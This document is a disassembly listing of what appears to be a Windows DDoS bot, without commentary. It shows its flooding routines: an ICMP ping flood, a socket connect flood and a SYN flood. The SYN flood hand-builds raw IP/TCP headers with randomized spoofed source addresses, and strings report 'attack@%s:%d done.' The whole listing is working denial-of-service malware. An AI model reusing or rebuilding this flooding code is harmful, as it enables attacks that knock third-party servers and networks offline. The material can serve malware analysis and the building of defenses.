		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4277E0	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_4277E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427800	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427800
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_4278C4
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_4278DE
; ---------------------------------------------------------------------------


loc_4278C4:				; CODE XREF: sub_427800+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_4278DE:				; CODE XREF: sub_427800+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427800	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427980	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27D070Bh
		mov	esi, eax
		test	esi, esi
		jz	short loc_4279EA
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_4279EA
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_4279EA
		test	eax, eax
		jz	short loc_4279EA
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_4279F5


loc_4279EA:				; CODE XREF: sub_427980+1Bj
					; sub_427980+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_4279F5:				; CODE XREF: sub_427980+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427A0C
		mov	[esp+24h+arg_FFE8], eax


loc_427A0C:				; CODE XREF: sub_427980+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427A1F
		mov	ebp, 1


loc_427A1F:				; CODE XREF: sub_427980+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427A64


loc_427A30:				; CODE XREF: sub_427980+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427A64
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427A30


loc_427A64:				; CODE XREF: sub_427980+AEj
					; sub_427980+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AC0	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427AC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B00	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427B00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427B00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427BA0	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427BA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427C60:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427C78
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427C78:				; CODE XREF: ___:00427C6Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2780000h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		call	near ptr 2820269h
		nop
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27D09E8h
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27D09E8h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 7B6FE890h, 0B9A0023Fh, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


